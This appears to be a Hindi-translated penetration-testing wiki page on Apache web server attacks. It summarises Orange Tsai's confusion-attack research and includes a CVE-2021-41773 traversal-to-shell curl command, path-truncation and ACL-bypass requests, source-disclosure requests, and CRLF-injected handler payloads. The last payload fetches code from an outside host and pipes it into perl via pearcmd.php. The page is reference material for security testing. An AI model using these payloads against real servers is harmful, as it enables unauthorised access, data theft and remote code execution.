Apache

Reading time: 12 minutes

Executable PHP extensions

जांचें कि कौन सी एक्सटेंशन Apache सर्वर को निष्पादित कर रही है। उन्हें खोजने के लिए आप यह निष्पादित कर सकते हैं:

grep -R -B1 "httpd-php" /etc/apache2

इसके अलावा, कुछ स्थान जहाँ आप इस कॉन्फ़िगरेशन को पा सकते हैं:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

इन प्रकार के हमलों को Orange द्वारा इस ब्लॉग पोस्ट में पेश किया गया है और निम्नलिखित एक सारांश है। "confusion" हमला मूल रूप से इस बात का लाभ उठाता है कि कई मॉड्यूल जो एक साथ काम करते हैं, एक Apache बनाने के लिए, पूरी तरह से समन्वयित नहीं होते हैं और उनमें से कुछ द्वारा कुछ अप्रत्याशित डेटा को संशोधित करने से बाद के मॉड्यूल में एक भेद्यता उत्पन्न हो सकती है।

Filename Confusion

Truncation

mod_rewrite r->filename की सामग्री को ? के बाद ट्रिम करेगा (modules/mappers/mod_rewrite.c#L4141). यह पूरी तरह से गलत नहीं है क्योंकि अधिकांश मॉड्यूल r->filename को एक URL के रूप में मानते हैं। लेकिन अन्य अवसरों पर इसे फ़ाइल पथ के रूप में माना जाएगा, जो एक समस्या उत्पन्न करेगा।

• Path Truncation

mod_rewrite का दुरुपयोग करना संभव है जैसे कि निम्नलिखित नियम उदाहरण में फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँचने के लिए, अपेक्षित पथ के अंतिम भाग को हटाकर बस एक ? जोड़ना:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• Mislead RewriteFlag Assignment

निम्नलिखित री-राइट नियम में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि ? चर के बाद .php पर समाप्त होने वाला एक URL भेजा जाए जबकि पथ में एक अलग प्रकार की फ़ाइल (जैसे एक छवि) को लोड किया जा रहा हो जिसमें दुर्भावनापूर्ण php कोड हो:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

यह संभव है कि उपयोगकर्ता उन फ़ाइलों तक पहुँच सके जिन्हें उसे पहुँचने की अनुमति नहीं होनी चाहिए, भले ही पहुँच को इन कॉन्फ़िगरेशन के साथ अस्वीकृत किया जाना चाहिए:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URL को प्राप्त करेगा जो .php पर समाप्त होते हैं, जैसे http://server/admin.php%3Fooo.php और क्योंकि PHP-FPM ? के बाद की किसी भी चीज़ को हटा देगा, पूर्ववर्ती URL /admin.php को लोड करने की अनुमति देगा, भले ही पूर्ववर्ती नियम ने इसे प्रतिबंधित किया हो।

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

एक मजेदार तथ्य यह है कि Apache का पिछला पुनर्लेखन दस्तावेज़ की जड़ और रूट दोनों से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, https://server/abouth.html के लिए एक अनुरोध फ़ाइल को फ़ाइल प्रणाली में /var/www/html/about.html और /about.html में जांचेगा। जिसे मूल रूप से फ़ाइल प्रणाली में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है।

सर्वर-साइड स्रोत कोड का खुलासा

• CGI स्रोत कोड का खुलासा करें

केवल अंत में एक %3F जोड़ना cgi मॉड्यूल के स्रोत कोड को लीक करने के लिए पर्याप्त है:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• PHP स्रोत कोड का खुलासा करें

यदि एक सर्वर में विभिन्न डोमेन हैं, जिनमें से एक स्थिर डोमेन है, तो इसका दुरुपयोग करके फ़ाइल प्रणाली को पार किया जा सकता है और php कोड लीक किया जा सकता है:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

स्थानीय गैजेट्स हेरफेर

पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइल सिस्टम पर अधिकांश पहुँच को अस्वीकृत कर दिया जाएगा जैसा कि Apache HTTP Server के configuration template में है:

<Directory />
AllowOverride None
Require all denied
</Directory>

हालांकि, Debian/Ubuntu ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से /usr/share की अनुमति देते हैं:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

इसलिए, इन वितरणों में /usr/share के अंदर स्थित फ़ाइलों का दुरुपयोग करना संभव होगा।

स्थानीय गैजेट से जानकारी का खुलासा

• Apache HTTP Server के साथ websocketd संवेदनशील पर्यावरण चर को लीक कर सकता है, जो /usr/share/doc/websocketd/examples/php/ पर dump-env.php स्क्रिप्ट को उजागर कर सकता है।
• Nginx या Jetty वाले सर्वर अपने डिफ़ॉल्ट वेब रूट के माध्यम से संवेदनशील वेब एप्लिकेशन जानकारी (जैसे, web.xml) को उजागर कर सकते हैं, जो /usr/share के तहत रखे गए हैं:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

स्थानीय गैजेट से XSS

• LibreOffice स्थापित Ubuntu डेस्कटॉप पर, सहायता फ़ाइलों की भाषा स्विच सुविधा का दुरुपयोग Cross-Site Scripting (XSS) का कारण बन सकता है। /usr/share/libreoffice/help/help.html पर URL को बदलने से दुर्भावनापूर्ण पृष्ठों या पुराने संस्करणों की ओर पुनर्निर्देशित किया जा सकता है, unsafe RewriteRule के माध्यम से।

स्थानीय गैजेट से LFI

• यदि PHP या कुछ फ्रंट-एंड पैकेज जैसे JpGraph या jQuery-jFeed स्थापित हैं, तो उनकी फ़ाइलों का दुरुपयोग संवेदनशील फ़ाइलों को पढ़ने के लिए किया जा सकता है जैसे /etc/passwd:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

स्थानीय गैजेट से SSRF

• MagpieRSS's magpie_debug.php का उपयोग करते हुए /usr/share/php/magpierss/scripts/magpie_debug.php पर, एक SSRF भेद्यता आसानी से बनाई जा सकती है, जो आगे के दुरुपयोग के लिए एक गेटवे प्रदान करती है।

स्थानीय गैजेट से RCE

• Remote Code Execution (RCE) के अवसर विशाल हैं, जैसे कि एक पुराना PHPUnit या phpLiteAdmin। इनका दुरुपयोग मनमाने कोड को निष्पादित करने के लिए किया जा सकता है, जो स्थानीय गैजेट्स के हेरफेर की व्यापक संभावनाओं को प्रदर्शित करता है।

स्थानीय गैजेट्स से जेलब्रेक

स्थानीय फ़ोल्डरों से जेलब्रेक करना भी संभव है, जैसे कि उन फ़ोल्डरों में स्थापित सॉफ़्टवेयर द्वारा उत्पन्न सिमलिंक का पालन करके:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

इसके अलावा, सिमलिंक का दुरुपयोग करके Redmine में RCE प्राप्त करना संभव था।

हैंडलर भ्रम

यह हमला AddHandler और AddType निर्देशों के बीच कार्यक्षमता के ओवरलैप का लाभ उठाता है, जिन्हें PHP प्रोसेसिंग सक्षम करने के लिए उपयोग किया जा सकता है। मूल रूप से, ये निर्देश सर्वर की आंतरिक संरचना में विभिन्न क्षेत्रों (r->handler और r->content_type क्रमशः) को प्रभावित करते थे। हालाँकि, विरासत कोड के कारण, Apache इन निर्देशों को कुछ स्थितियों के तहत परस्पर संभालता है, यदि पूर्व सेट है और बाद वाला नहीं है तो r->content_type को r->handler में परिवर्तित करता है।

इसके अलावा, Apache HTTP Server (server/config.c#L420) में, यदि r->handler ap_run_handler() को निष्पादित करने से पहले खाली है, तो सर्वर r->content_type को हैंडलर के रूप में उपयोग करता है, प्रभावी रूप से AddType और AddHandler को प्रभाव में समान बना देता है।

PHP स्रोत कोड का खुलासा करने के लिए हैंडलर को ओवरराइट करें

इस वार्ता में एक भेद्यता प्रस्तुत की गई थी जहां एक ग्राहक द्वारा भेजा गया गलत Content-Length Apache को गलती से PHP स्रोत कोड लौटाने का कारण बन सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ एक त्रुटि हैंडलिंग समस्या के कारण था, जहां एक डबल प्रतिक्रिया r->content_type को text/html पर ओवरराइट करने का कारण बनती है।
क्योंकि ModSecurity सही ढंग से लौटाए गए मानों को संभाल नहीं करता है, यह PHP कोड लौटाएगा और इसे व्याख्या नहीं करेगा।

XXXX के लिए हैंडलर को ओवरराइट करें

TODO: Orange ने अभी तक इस भेद्यता का खुलासा नहीं किया है

मनमाने हैंडलर्स को सक्रिय करें

यदि एक हमलावर सर्वर प्रतिक्रिया में Content-Type हेडर को नियंत्रित करने में सक्षम है, तो वह मनमाने मॉड्यूल हैंडलर्स को सक्रिय करने में सक्षम होगा। हालाँकि, जब हमलावर इसे नियंत्रित करता है, तो अधिकांश अनुरोध की प्रक्रिया पूरी हो चुकी होगी। हालाँकि, यह Location हेडर का दुरुपयोग करके अनुरोध प्रक्रिया को पुनः प्रारंभ करना संभव है क्योंकि यदि r द्वारा लौटाया गया Status 200 है और Location हेडर / से शुरू होता है, तो प्रतिक्रिया को सर्वर-साइड रीडायरेक्शन के रूप में माना जाता है और इसे संसाधित किया जाना चाहिए।

RFC 3875 (CGI के बारे में विनिर्देश) में धारा 6.2.2 एक स्थानीय रीडायरेक्ट प्रतिक्रिया व्यवहार को परिभाषित करता है:

CGI स्क्रिप्ट एक स्थान हेडर फ़ील्ड में एक URI पथ और क्वेरी-स्ट्रींग ('local-pathquery') लौट सकती है। यह सर्वर को यह संकेत देता है कि इसे निर्दिष्ट पथ का उपयोग करके अनुरोध को फिर से संसाधित करना चाहिए।

इसलिए, इस हमले को करने के लिए निम्नलिखित में से एक भेद्यता की आवश्यकता है:

• CGI प्रतिक्रिया हेडर में CRLF इंजेक्शन
• प्रतिक्रिया हेडर के पूर्ण नियंत्रण के साथ SSRF

जानकारी के खुलासे के लिए मनमाना हैंडलर

उदाहरण के लिए /server-status केवल स्थानीय रूप से सुलभ होना चाहिए:

<Location /server-status>
SetHandler server-status
Require local
</Location>

इसे Content-Type को server-status सेट करके और Location हेडर को / से शुरू करके एक्सेस करना संभव है।

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

मनमाने हैंडलर से पूर्ण SSRF

किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए mod_proxy पर रीडायरेक्ट करना:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

हालांकि, X-Forwarded-For हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुंच को रोका जा सके।

स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचने के लिए मनमाना हैंडलर

PHP-FPM के स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचें ताकि /tmp/ में स्थित PHP बैकडोर को निष्पादित किया जा सके:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

मनमाने हैंडलर से RCE

आधिकारिक PHP Docker इमेज में PEAR (Pearcmd.php), एक कमांड-लाइन PHP पैकेज प्रबंधन उपकरण शामिल है, जिसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

चेक करें Docker PHP LFI सारांश, जिसे Phith0n ने इस तकनीक के विवरण के लिए लिखा है।

संदर्भ

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1